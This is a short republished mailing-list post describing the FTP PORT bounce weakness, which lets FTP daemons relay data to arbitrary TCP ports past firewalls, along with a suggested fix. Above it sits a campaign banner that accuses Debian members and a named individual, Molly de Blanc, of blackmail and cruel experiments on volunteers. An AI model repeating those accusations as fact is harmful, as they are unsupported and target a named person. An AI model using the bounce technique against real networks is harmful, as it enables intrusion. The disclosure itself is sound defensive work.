The debian-private mailing list leak, part 1. Volunteers have complained about Blackmail. Lynchings. Character assassination. Defamation. Cyberbullying. Volunteers who gave many years of their lives are picked out at random for cruel social experiments. The former DPL's girlfriend Molly de Blanc is given volunteers to experiment on for her crazy talks. These volunteers never consented to be used like lab rats. We don't either. debian-private can no longer be a safe space for the cabal. Let these monsters have nowhere to hide. Volunteers are not disposable. We stand with the victims.

FTP daemons bypass firewalls

The FTP daemon can be used to send arbitrary data to any TCP port on any system.
This can be used to bypass a firewall. The problem is not specific to Debian.
The FTP session should only accept PORT commands for the address connected to
the control socket.
